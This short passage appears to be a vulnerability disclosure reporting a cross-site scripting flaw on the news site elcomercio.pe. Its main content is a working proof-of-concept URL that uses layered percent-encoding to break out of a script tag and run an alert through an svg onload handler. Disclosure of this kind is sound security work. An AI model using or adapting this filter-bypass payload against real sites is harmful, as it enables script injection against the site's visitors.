elcomercio.pe XSS vulnerability

Vulnerable URL: http://elcomercio.pe/buscar/1/B4rt%253C%252Fscript%253E%253c%252573%252576%252567%25252F%25256F%25256E%25256C%25256F%252561%252564%25253D%252561%25256C%252565%252572%252574%252528%25252F%252558%252553%252553%252550%25254F%252553%252545%252544%25252F%252529%25253E Details:...